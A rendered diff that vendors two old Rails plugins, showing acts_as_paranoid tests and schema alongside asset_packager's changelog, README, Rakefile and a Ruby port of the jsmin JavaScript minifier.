||||
assert_equal [1], Widget.send(:with_scope, :find => { :conditions => "title = 'widget 1'" }) { Widget.find(:all) }.ids
|
||||
assert_equal [], Widget.send(:with_scope, :find => { :conditions => "title = 'deleted widget 2'" }) { Widget.find(:all) }.ids
|
||||
assert_equal [2], Widget.send(:with_scope, :find => { :conditions => "title = 'deleted widget 2'" }) { Widget.find_with_deleted(:all) }.ids
|
||||
end
|
||||
|
||||
def test_should_allow_multiple_scoped_calls_when_finding
|
||||
Widget.send(:with_scope, :find => { :conditions => "title = 'deleted widget 2'" }) do
|
||||
assert_equal [2], Widget.find_with_deleted(:all).ids
|
||||
assert_equal [2], Widget.find_with_deleted(:all).ids, "clobbers the constrain on the unmodified find"
|
||||
assert_equal [], Widget.find(:all).ids
|
||||
assert_equal [], Widget.find(:all).ids, 'clobbers the constrain on a paranoid find'
|
||||
end
|
||||
end
|
||||
|
||||
def test_should_allow_multiple_scoped_calls_when_counting
|
||||
Widget.send(:with_scope, :find => { :conditions => "title = 'deleted widget 2'" }) do
|
||||
assert_equal 1, Widget.calculate_with_deleted(:count, :all)
|
||||
assert_equal 1, Widget.calculate_with_deleted(:count, :all), "clobbers the constrain on the unmodified find"
|
||||
assert_equal 0, Widget.count
|
||||
assert_equal 0, Widget.count, 'clobbers the constrain on a paranoid find'
|
||||
end
|
||||
end
|
||||
|
||||
def test_should_give_paranoid_status
|
||||
assert Widget.paranoid?
|
||||
assert !NonParanoidAndroid.paranoid?
|
||||
end
|
||||
|
||||
def test_should_give_record_status
|
||||
assert_equal false, Widget.find(1).deleted?
|
||||
Widget.find(1).destroy
|
||||
assert Widget.find_with_deleted(1).deleted?
|
||||
end
|
||||
|
||||
def test_should_find_deleted_has_many_assocations_on_deleted_records_by_default
|
||||
w = Widget.find_with_deleted 2
|
||||
assert_equal 2, w.categories.find_with_deleted(:all).length
|
||||
assert_equal 2, w.categories.find_with_deleted(:all).size
|
||||
end
|
||||
|
||||
def test_should_find_deleted_habtm_assocations_on_deleted_records_by_default
|
||||
w = Widget.find_with_deleted 2
|
||||
assert_equal 2, w.habtm_categories.find_with_deleted(:all).length
|
||||
assert_equal 2, w.habtm_categories.find_with_deleted(:all).size
|
||||
end
|
||||
|
||||
def test_dynamic_finders
|
||||
assert Widget.find_by_id(1)
|
||||
assert_nil Widget.find_by_id(2)
|
||||
end
|
||||
|
||||
def test_custom_finder_methods
|
||||
w = Widget.find_with_deleted(:all).inject({}) { |all, w| all.merge(w.id => w) }
|
||||
assert_equal [1], Category.search('c').ids
|
||||
assert_equal [1,2,3,4], Category.search_with_deleted('c', :order => 'id').ids
|
||||
assert_equal [1], widgets(:widget_1).categories.search('c').collect(&:id)
|
||||
assert_equal [1,2], widgets(:widget_1).categories.search_with_deleted('c').ids
|
||||
assert_equal [], w[2].categories.search('c').ids
|
||||
assert_equal [3,4], w[2].categories.search_with_deleted('c').ids
|
||||
end
|
||||
end
|
||||
|
||||
class Array
|
||||
def ids
|
||||
collect &:id
|
||||
end
|
||||
end
|
||||
20
vendor/plugins/acts_as_paranoid/test/schema.rb
vendored
Normal file
20
vendor/plugins/acts_as_paranoid/test/schema.rb
vendored
Normal file
@@ -0,0 +1,20 @@
|
||||
ActiveRecord::Schema.define(:version => 1) do
|
||||
|
||||
create_table :widgets, :force => true do |t|
|
||||
t.column :title, :string, :limit => 50
|
||||
t.column :category_id, :integer
|
||||
t.column :deleted_at, :timestamp
|
||||
end
|
||||
|
||||
create_table :categories, :force => true do |t|
|
||||
t.column :widget_id, :integer
|
||||
t.column :title, :string, :limit => 50
|
||||
t.column :deleted_at, :timestamp
|
||||
end
|
||||
|
||||
create_table :categories_widgets, :force => true, :id => false do |t|
|
||||
t.column :category_id, :integer
|
||||
t.column :widget_id, :integer
|
||||
end
|
||||
|
||||
end
|
||||
33
vendor/plugins/acts_as_paranoid/test/test_helper.rb
vendored
Normal file
33
vendor/plugins/acts_as_paranoid/test/test_helper.rb
vendored
Normal file
@@ -0,0 +1,33 @@
|
||||
$:.unshift(File.dirname(__FILE__) + '/../lib')
|
||||
|
||||
require 'test/unit'
|
||||
require File.expand_path(File.join(File.dirname(__FILE__), '../../../../config/environment.rb'))
|
||||
require 'rubygems'
|
||||
require 'active_record/fixtures'
|
||||
|
||||
config = YAML::load(IO.read(File.dirname(__FILE__) + '/database.yml'))
|
||||
ActiveRecord::Base.logger = Logger.new(File.dirname(__FILE__) + "/debug.log")
|
||||
ActiveRecord::Base.establish_connection(config[ENV['DB'] || 'sqlite'])
|
||||
|
||||
load(File.dirname(__FILE__) + "/schema.rb")
|
||||
|
||||
Test::Unit::TestCase.fixture_path = File.dirname(__FILE__) + "/fixtures/"
|
||||
$LOAD_PATH.unshift(Test::Unit::TestCase.fixture_path)
|
||||
|
||||
class Test::Unit::TestCase #:nodoc:
|
||||
def create_fixtures(*table_names)
|
||||
if block_given?
|
||||
Fixtures.create_fixtures(Test::Unit::TestCase.fixture_path, table_names) { yield }
|
||||
else
|
||||
Fixtures.create_fixtures(Test::Unit::TestCase.fixture_path, table_names)
|
||||
end
|
||||
end
|
||||
|
||||
# Turn off transactional fixtures if you're working with MyISAM tables in MySQL
|
||||
self.use_transactional_fixtures = true
|
||||
|
||||
# Instantiated fixtures are slow, but give you @david where you otherwise would need people(:david)
|
||||
self.use_instantiated_fixtures = false
|
||||
|
||||
# Add more helper methods to be used by all tests here...
|
||||
end
|
||||
122
vendor/plugins/asset_packager/CHANGELOG
vendored
Normal file
122
vendor/plugins/asset_packager/CHANGELOG
vendored
Normal file
@@ -0,0 +1,122 @@
|
||||
------------------------------------------------------------------------
|
||||
r52 | sbecker | 2007-11-04 01:38:21 -0400 (Sun, 04 Nov 2007) | 3 lines
|
||||
|
||||
* Allow configuration of which environments the helpers should merge scripts with the Synthesis::AssetPackage.merge_environments variable.
|
||||
* Refactored tests so they can all run together, and not depend on what the RAILS_ENV constant is.
|
||||
* Only add file extension if it was explicitly passed in, fixes other helpers in rails.
|
||||
------------------------------------------------------------------------
|
||||
r51 | sbecker | 2007-10-26 16:24:48 -0400 (Fri, 26 Oct 2007) | 1 line
|
||||
|
||||
* Updated jsmin.rb to latest version from 2007-07-20
|
||||
------------------------------------------------------------------------
|
||||
r50 | sbecker | 2007-10-23 23:16:07 -0400 (Tue, 23 Oct 2007) | 1 line
|
||||
|
||||
Updated CHANGELOG
|
||||
|
||||
------------------------------------------------------------------------
|
||||
r49 | sbecker | 2007-10-23 23:13:27 -0400 (Tue, 23 Oct 2007) | 1 line
|
||||
|
||||
* Finally committed the subdirectory patch. (Thanks James Coglan!)
|
||||
------------------------------------------------------------------------
|
||||
r48 | sbecker | 2007-10-15 15:10:43 -0400 (Mon, 15 Oct 2007) | 1 line
|
||||
|
||||
* Speed up rake tasks and remove rails environment dependencies
|
||||
------------------------------------------------------------------------
|
||||
r43 | sbecker | 2007-07-02 15:30:29 -0400 (Mon, 02 Jul 2007) | 1 line
|
||||
|
||||
* Updated the docs regarding testing.
|
||||
------------------------------------------------------------------------
|
||||
r42 | sbecker | 2007-07-02 15:27:00 -0400 (Mon, 02 Jul 2007) | 1 line
|
||||
|
||||
* For production helper test, build packages once - on first setup.
|
||||
------------------------------------------------------------------------
|
||||
r41 | sbecker | 2007-07-02 15:14:13 -0400 (Mon, 02 Jul 2007) | 1 line
|
||||
|
||||
* Put build_all in test setup and delete_all in test teardown so all tests will pass the on first run of test suite.
|
||||
------------------------------------------------------------------------
|
||||
r40 | sbecker | 2007-07-02 14:55:28 -0400 (Mon, 02 Jul 2007) | 1 line
|
||||
|
||||
* Fix quotes, add contact info
|
||||
------------------------------------------------------------------------
|
||||
r39 | sbecker | 2007-07-02 14:53:52 -0400 (Mon, 02 Jul 2007) | 1 line
|
||||
|
||||
* Add note on how to run the tests for asset packager.
|
||||
------------------------------------------------------------------------
|
||||
r38 | sbecker | 2007-01-25 15:36:42 -0500 (Thu, 25 Jan 2007) | 1 line
|
||||
|
||||
added CHANGELOG w/ subversion log entries
|
||||
------------------------------------------------------------------------
|
||||
r37 | sbecker | 2007-01-25 15:34:39 -0500 (Thu, 25 Jan 2007) | 1 line
|
||||
|
||||
updated jsmin with new version from 2007-01-23
|
||||
------------------------------------------------------------------------
|
||||
r35 | sbecker | 2007-01-15 19:22:16 -0500 (Mon, 15 Jan 2007) | 1 line
|
||||
|
||||
require synthesis/asset_package in rake tasks, as Rails 1.2 seems to necessitate
|
||||
------------------------------------------------------------------------
|
||||
r34 | sbecker | 2007-01-05 12:22:09 -0500 (Fri, 05 Jan 2007) | 1 line
|
||||
|
||||
do a require before including in action view, because when running migrations, the plugin lib files don't automatically get required, causing the include to error out
|
||||
------------------------------------------------------------------------
|
||||
r33 | sbecker | 2006-12-23 02:03:41 -0500 (Sat, 23 Dec 2006) | 1 line
|
||||
|
||||
updating readme with various tweaks
|
||||
------------------------------------------------------------------------
|
||||
r32 | sbecker | 2006-12-23 02:03:12 -0500 (Sat, 23 Dec 2006) | 1 line
|
||||
|
||||
updating readme with various tweaks
|
||||
------------------------------------------------------------------------
|
||||
r31 | sbecker | 2006-12-23 01:52:25 -0500 (Sat, 23 Dec 2006) | 1 line
|
||||
|
||||
updated readme to show how to use different media for stylesheets
|
||||
------------------------------------------------------------------------
|
||||
r28 | sbecker | 2006-11-27 21:02:14 -0500 (Mon, 27 Nov 2006) | 1 line
|
||||
|
||||
updated compute_public_path, added check for images
|
||||
------------------------------------------------------------------------
|
||||
r27 | sbecker | 2006-11-10 18:28:29 -0500 (Fri, 10 Nov 2006) | 1 line
|
||||
|
||||
tolerate extra periods in source asset names. fixed subversion revision checking to be file specific, instead of repository specific.
|
||||
------------------------------------------------------------------------
|
||||
r26 | sbecker | 2006-06-24 17:04:27 -0400 (Sat, 24 Jun 2006) | 1 line
|
||||
|
||||
convert asset_packages_yml var to a class var
|
||||
------------------------------------------------------------------------
|
||||
r25 | sbecker | 2006-06-24 12:37:47 -0400 (Sat, 24 Jun 2006) | 1 line
|
||||
|
||||
Added ability to include assets by package name. In development, include all uncompressed asset files. In production, include the single compressed asset.
|
||||
------------------------------------------------------------------------
|
||||
r24 | sbecker | 2006-06-19 21:57:23 -0400 (Mon, 19 Jun 2006) | 1 line
|
||||
|
||||
Updates to README and about.yml
|
||||
------------------------------------------------------------------------
|
||||
r23 | sbecker | 2006-06-19 14:55:39 -0400 (Mon, 19 Jun 2006) | 2 lines
|
||||
|
||||
Modifying about.yml and README
|
||||
|
||||
------------------------------------------------------------------------
|
||||
r21 | sbecker | 2006-06-19 12:18:32 -0400 (Mon, 19 Jun 2006) | 2 lines
|
||||
|
||||
added "formerly known as MergeJS"
|
||||
|
||||
------------------------------------------------------------------------
|
||||
r20 | sbecker | 2006-06-19 12:14:46 -0400 (Mon, 19 Jun 2006) | 2 lines
|
||||
|
||||
Updating docs
|
||||
|
||||
------------------------------------------------------------------------
|
||||
r19 | sbecker | 2006-06-19 11:26:08 -0400 (Mon, 19 Jun 2006) | 2 lines
|
||||
|
||||
removing compiled test assets from subversion
|
||||
|
||||
------------------------------------------------------------------------
|
||||
r18 | sbecker | 2006-06-19 11:19:59 -0400 (Mon, 19 Jun 2006) | 2 lines
|
||||
|
||||
Initial import.
|
||||
|
||||
------------------------------------------------------------------------
|
||||
r17 | sbecker | 2006-06-19 11:18:56 -0400 (Mon, 19 Jun 2006) | 2 lines
|
||||
|
||||
Creating directory.
|
||||
|
||||
------------------------------------------------------------------------
|
||||
173
vendor/plugins/asset_packager/README
vendored
Normal file
173
vendor/plugins/asset_packager/README
vendored
Normal file
@@ -0,0 +1,173 @@
|
||||
= AssetPackager
|
||||
|
||||
JavaScript and CSS Asset Compression for Production Rails Apps
|
||||
|
||||
== Description
|
||||
|
||||
When it comes time to deploy your new web application, instead of
|
||||
sending down a dozen JavaScript and CSS files full of formatting
|
||||
and comments, this Rails plugin makes it simple to merge and
|
||||
compress JavaScript and CSS down into one or more files, increasing
|
||||
speed and saving bandwidth.
|
||||
|
||||
When in development, it allows you to use your original versions
|
||||
and retain formatting and comments for readability and debugging.
|
||||
|
||||
Because not all browsers will dependably cache JavaScript and CSS
|
||||
files with query string parameters, AssetPackager writes a timestamp
|
||||
or subversion revision stamp (if available) into the merged file names.
|
||||
Therefore files are correctly cached by the browser AND your users
|
||||
always get the latest version when you re-deploy.
|
||||
|
||||
This code is released under the MIT license (like Ruby). You<6F>re free
|
||||
to rip it up, enhance it, etc. And if you make any enhancements,
|
||||
I<EFBFBD>d like to know so I can add them back in. Thanks!
|
||||
|
||||
* Formerly known as MergeJS.
|
||||
|
||||
== Credit
|
||||
|
||||
This Rails Plugin was inspired by Cal Henderson's article
|
||||
"Serving JavaScript Fast" on Vitamin:
|
||||
http://www.thinkvitamin.com/features/webapps/serving-javascript-fast
|
||||
|
||||
It also uses the Ruby JavaScript Minifier created by
|
||||
Douglas Crockford.
|
||||
http://www.crockford.com/javascript/jsmin.html
|
||||
|
||||
== Key Features
|
||||
|
||||
* Merges and compresses JavaScript and CSS when running in production.
|
||||
* Uses uncompressed originals when running in development.
|
||||
* Handles caching correctly. (No querystring parameters - filename timestamps)
|
||||
* Versions each package individually. Updates to files in one won't re-trigger downloading the others.
|
||||
* Uses subversion revision numbers instead of timestamps if within a subversion controlled directory.
|
||||
* Guarantees new version will get downloaded the next time you deploy.
|
||||
|
||||
== Components
|
||||
|
||||
* Rake Task for merging and compressing JavaScript and CSS files.
|
||||
* Helper functions for including these JavaScript and CSS files in your views.
|
||||
* YAML configuration file for mapping JavaScript and CSS files to merged versions.
|
||||
* Rake Task for auto-generating the YAML file from your existing JavaScript files.
|
||||
|
||||
== How to Use:
|
||||
|
||||
1. Download and install the plugin:
|
||||
./script/plugin install http://sbecker.net/shared/plugins/asset_packager
|
||||
|
||||
2. Run the rake task "asset:packager:create_yml" to generate the /config/asset_packages.yml
|
||||
file the first time. You will need to reorder files under 'base' so dependencies are loaded
|
||||
in correct order. Feel free to rename or create new file packages.
|
||||
|
||||
IMPORTANT: JavaScript files can break once compressed if each statement doesn't end with a semi-colon.
|
||||
The minifier puts multiple statements on one line, so if the semi-colon is missing, the statement may no
|
||||
longer makes sense and cause a syntax error.
|
||||
|
||||
Example from a fresh rails app after running the rake task. (Stylesheets is blank because a
|
||||
default rails app has no stylesheets yet.):
|
||||
|
||||
---
|
||||
javascripts:
|
||||
- base:
|
||||
- prototype
|
||||
- effects
|
||||
- dragdrop
|
||||
- controls
|
||||
- application
|
||||
stylesheets:
|
||||
- base: []
|
||||
|
||||
Example with multiple merged files:
|
||||
|
||||
---
|
||||
javascripts:
|
||||
- base:
|
||||
- prototype
|
||||
- effects
|
||||
- controls
|
||||
- dragdrop
|
||||
- application
|
||||
- secondary:
|
||||
- foo
|
||||
- bar
|
||||
stylesheets:
|
||||
- base:
|
||||
- screen
|
||||
- header
|
||||
- secondary:
|
||||
- foo
|
||||
- bar
|
||||
|
||||
3. Run the rake task "asset:packager:build_all" to generate the compressed, merged versions
|
||||
for each package. Whenever you rearrange the yaml file, you'll need to run this task again.
|
||||
Merging and compressing is expensive, so this is something we want to do once, not every time
|
||||
your app starts. Thats why its a rake task.
|
||||
|
||||
4. Use the helper functions whenever including these files in your application. See below for examples.
|
||||
|
||||
5. Potential warning: css compressor function currently removes CSS comments. This might blow
|
||||
away some CSS hackery. To disable comment removal, comment out /lib/synthesis/asset_package.rb line 176.
|
||||
|
||||
== JavaScript Examples
|
||||
|
||||
Example call:
|
||||
<%= javascript_include_merged 'prototype', 'effects', 'controls', 'dragdrop', 'application', 'foo', 'bar' %>
|
||||
|
||||
In development, this generates:
|
||||
<script type="text/javascript" src="/javascripts/prototype.js"></script>
|
||||
<script type="text/javascript" src="/javascripts/effects.js"></script>
|
||||
<script type="text/javascript" src="/javascripts/controls.js"></script>
|
||||
<script type="text/javascript" src="/javascripts/dragdrop.js"></script>
|
||||
<script type="text/javascript" src="/javascripts/application.js"></script>
|
||||
<script type="text/javascript" src="/javascripts/foo.js"></script>
|
||||
<script type="text/javascript" src="/javascripts/bar.js"></script>
|
||||
|
||||
In production, this generates:
|
||||
<script type="text/javascript" src="/javascripts/base_1150571523.js"></script>
|
||||
<script type="text/javascript" src="/javascripts/secondary_1150729166.js"></script>
|
||||
|
||||
Now supports symbols and :defaults as well:
|
||||
<%= javascript_include_merged :defaults %>
|
||||
<%= javascript_include_merged :foo, :bar %>
|
||||
|
||||
== Stylesheet Examples
|
||||
|
||||
Example call:
|
||||
<%= stylesheet_link_merged 'screen', 'header' %>
|
||||
|
||||
In development, this generates:
|
||||
<link href="/stylesheets/screen.css" media="screen" rel="Stylesheet" type="text/css" />
|
||||
<link href="/stylesheets/header.css" media="screen" rel="Stylesheet" type="text/css" />
|
||||
|
||||
In production this generates:
|
||||
<link href="/stylesheets/base_1150729166.css" media="screen" rel="Stylesheet" type="text/css" />
|
||||
|
||||
== Different CSS Media
|
||||
|
||||
All options for stylesheet_link_tag still work, so if you want to specify a different media type:
|
||||
<%= stylesheet_link_merged :secondary, 'media' => 'print' %>
|
||||
|
||||
== Running the tests
|
||||
|
||||
So you want to run the tests eh? Ok, then listen:
|
||||
|
||||
This plugin has a full suite of tests. But since they
|
||||
depend on rails, it has to be run in the context of a
|
||||
rails app, in the vendor/plugins directory. Observe:
|
||||
|
||||
> rails newtestapp
|
||||
> cd newtestapp
|
||||
> ./script/plugin install http://sbecker.net/shared/plugins/asset_packager
|
||||
> cd vendor/plugins/asset_packager/
|
||||
> rake # all tests pass
|
||||
|
||||
== License
|
||||
Copyright (c) 2006 Scott Becker - http://synthesis.sbecker.net
|
||||
Contact Email: becker.scott@gmail.com
|
||||
|
||||
Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions:
|
||||
|
||||
The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software.
|
||||
|
||||
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
|
||||
22
vendor/plugins/asset_packager/Rakefile
vendored
Normal file
22
vendor/plugins/asset_packager/Rakefile
vendored
Normal file
@@ -0,0 +1,22 @@
|
||||
require 'rake'
|
||||
require 'rake/testtask'
|
||||
require 'rake/rdoctask'
|
||||
|
||||
desc 'Default: run unit tests.'
|
||||
task :default => :test
|
||||
|
||||
desc 'Test the asset_packager plugin.'
|
||||
Rake::TestTask.new(:test) do |t|
|
||||
t.libs << 'lib'
|
||||
t.pattern = 'test/**/*_test.rb'
|
||||
t.verbose = true
|
||||
end
|
||||
|
||||
desc 'Generate documentation for the asset_packager plugin.'
|
||||
Rake::RDocTask.new(:rdoc) do |rdoc|
|
||||
rdoc.rdoc_dir = 'rdoc'
|
||||
rdoc.title = 'AssetPackager'
|
||||
rdoc.options << '--line-numbers' << '--inline-source'
|
||||
rdoc.rdoc_files.include('README')
|
||||
rdoc.rdoc_files.include('lib/**/*.rb')
|
||||
end
|
||||
8
vendor/plugins/asset_packager/about.yml
vendored
Normal file
8
vendor/plugins/asset_packager/about.yml
vendored
Normal file
@@ -0,0 +1,8 @@
|
||||
author: Scott Becker
|
||||
name: AssetPackager
|
||||
summary: JavaScript and CSS Asset Compression for Production Rails Apps
|
||||
homepage: http://synthesis.sbecker.net/pages/asset_packager
|
||||
plugin: http://sbecker.net/shared/plugins/asset_packager
|
||||
license: MIT
|
||||
version: 0.2
|
||||
rails_version: 1.1.2+
|
||||
2
vendor/plugins/asset_packager/init.rb
vendored
Normal file
2
vendor/plugins/asset_packager/init.rb
vendored
Normal file
@@ -0,0 +1,2 @@
|
||||
require 'synthesis/asset_package_helper'
|
||||
ActionView::Base.send :include, Synthesis::AssetPackageHelper
|
||||
1
vendor/plugins/asset_packager/install.rb
vendored
Normal file
1
vendor/plugins/asset_packager/install.rb
vendored
Normal file
@@ -0,0 +1 @@
|
||||
# Install hook code here
|
||||
205
vendor/plugins/asset_packager/lib/jsmin.rb
vendored
Normal file
205
vendor/plugins/asset_packager/lib/jsmin.rb
vendored
Normal file
@@ -0,0 +1,205 @@
|
||||
#!/usr/bin/ruby
|
||||
# jsmin.rb 2007-07-20
|
||||
# Author: Uladzislau Latynski
|
||||
# This work is a translation from C to Ruby of jsmin.c published by
|
||||
# Douglas Crockford. Permission is hereby granted to use the Ruby
|
||||
# version under the same conditions as the jsmin.c on which it is
|
||||
# based.
|
||||
#
|
||||
# /* jsmin.c
|
||||
# 2003-04-21
|
||||
#
|
||||
# Copyright (c) 2002 Douglas Crockford (www.crockford.com)
|
||||
#
|
||||
# Permission is hereby granted, free of charge, to any person obtaining a copy of
|
||||
# this software and associated documentation files (the "Software"), to deal in
|
||||
# the Software without restriction, including without limitation the rights to
|
||||
# use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies
|
||||
# of the Software, and to permit persons to whom the Software is furnished to do
|
||||
# so, subject to the following conditions:
|
||||
#
|
||||
# The above copyright notice and this permission notice shall be included in all
|
||||
# copies or substantial portions of the Software.
|
||||
#
|
||||
# The Software shall be used for Good, not Evil.
|
||||
#
|
||||
# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||
# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||
# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
||||
# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||
# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
||||
# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
|
||||
# SOFTWARE.
|
||||
|
||||
EOF = -1
|
||||
$theA = ""
|
||||
$theB = ""
|
||||
|
||||
# isAlphanum -- return true if the character is a letter, digit, underscore,
|
||||
# dollar sign, or non-ASCII character
|
||||
def isAlphanum(c)
|
||||
return false if !c || c == EOF
|
||||
return ((c >= 'a' && c <= 'z') || (c >= '0' && c <= '9') ||
|
||||
(c >= 'A' && c <= 'Z') || c == '_' || c == '$' ||
|
||||
c == '\\' || c[0] > 126)
|
||||
end
|
||||
|
||||
# get -- return the next character from stdin. Watch out for lookahead. If
|
||||
# the character is a control character, translate it to a space or linefeed.
|
||||
def get()
|
||||
c = $stdin.getc
|
||||
return EOF if(!c)
|
||||
c = c.chr
|
||||
return c if (c >= " " || c == "\n" || c.unpack("c") == EOF)
|
||||
return "\n" if (c == "\r")
|
||||
return " "
|
||||
end
|
||||
|
||||
# Get the next character without getting it.
|
||||
def peek()
|
||||
lookaheadChar = $stdin.getc
|
||||
$stdin.ungetc(lookaheadChar)
|
||||
return lookaheadChar.chr
|
||||
end
|
||||
|
||||
# mynext -- get the next character, excluding comments.
|
||||
# peek() is used to see if a '/' is followed by a '/' or '*'.
|
||||
def mynext()
|
||||
c = get
|
||||
if (c == "/")
|
||||
if(peek == "/")
|
||||
while(true)
|
||||
c = get
|
||||
if (c <= "\n")
|
||||
return c
|
||||
end
|
||||
end
|
||||
end
|
||||
if(peek == "*")
|
||||
get
|
||||
while(true)
|
||||
case get
|
||||
when "*"
|
||||
if (peek == "/")
|
||||
get
|
||||
return " "
|
||||
end
|
||||
when EOF
|
||||
raise "Unterminated comment"
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
return c
|
||||
end
|
||||
|
||||
|
||||
# action -- do something! What you do is determined by the argument: 1
|
||||
# Output A. Copy B to A. Get the next B. 2 Copy B to A. Get the next B.
|
||||
# (Delete A). 3 Get the next B. (Delete B). action treats a string as a
|
||||
# single character. Wow! action recognizes a regular expression if it is
|
||||
# preceded by ( or , or =.
|
||||
def action(a)
|
||||
if(a==1)
|
||||
$stdout.write $theA
|
||||
end
|
||||
if(a==1 || a==2)
|
||||
$theA = $theB
|
||||
if ($theA == "\'" || $theA == "\"")
|
||||
while (true)
|
||||
$stdout.write $theA
|
||||
$theA = get
|
||||
break if ($theA == $theB)
|
||||
raise "Unterminated string literal" if ($theA <= "\n")
|
||||
if ($theA == "\\")
|
||||
$stdout.write $theA
|
||||
$theA = get
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
if(a==1 || a==2 || a==3)
|
||||
$theB = mynext
|
||||
if ($theB == "/" && ($theA == "(" || $theA == "," || $theA == "=" ||
|
||||
$theA == ":" || $theA == "[" || $theA == "!" ||
|
||||
$theA == "&" || $theA == "|" || $theA == "?" ||
|
||||
$theA == "{" || $theA == "}" || $theA == ";" ||
|
||||
$theA == "\n"))
|
||||
$stdout.write $theA
|
||||
$stdout.write $theB
|
||||
while (true)
|
||||
$theA = get
|
||||
if ($theA == "/")
|
||||
break
|
||||
elsif ($theA == "\\")
|
||||
$stdout.write $theA
|
||||
$theA = get
|
||||
elsif ($theA <= "\n")
|
||||
raise "Unterminated RegExp Literal"
|
||||
end
|
||||
$stdout.write $theA
|
||||
end
|
||||
$theB = mynext
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
# jsmin -- Copy the input to the output, deleting the characters which are
|
||||
# insignificant to JavaScript. Comments will be removed. Tabs will be
|
||||
# replaced with spaces. Carriage returns will be replaced with linefeeds.
|
||||
# Most spaces and linefeeds will be removed.
|
||||
def jsmin
|
||||
$theA = "\n"
|
||||
action(3)
|
||||
while ($theA != EOF)
|
||||
case $theA
|
||||
when " "
|
||||
if (isAlphanum($theB))
|
||||
action(1)
|
||||
else
|
||||
action(2)
|
||||
end
|
||||
when "\n"
|
||||
case ($theB)
|
||||
when "{","[","(","+","-"
|
||||
action(1)
|
||||
when " "
|
||||
action(3)
|
||||
else
|
||||
if (isAlphanum($theB))
|
||||
action(1)
|
||||
else
|
||||
action(2)
|
||||
end
|
||||
end
|
||||
else
|
||||
case ($theB)
|
||||
when " "
|
||||
if (isAlphanum($theA))
|
||||
action(1)
|
||||
else
|
||||
action(3)
|
||||
end
|
||||
when "\n"
|
||||
case ($theA)
|
||||
when "}","]",")","+","-","\"","\\", "'", '"'
|
||||
action(1)
|
||||
else
|
||||
if (isAlphanum($theA))
|
||||
action(1)
|
||||
else
|
||||
action(3)
|
||||
end
|
||||
end
|
||||
else
|
||||
action(1)
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
ARGV.each do |anArg|
|
||||
$stdout.write "// #{anArg}\n"
|
||||
end
|
||||
|
||||
jsmin
|
||||
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user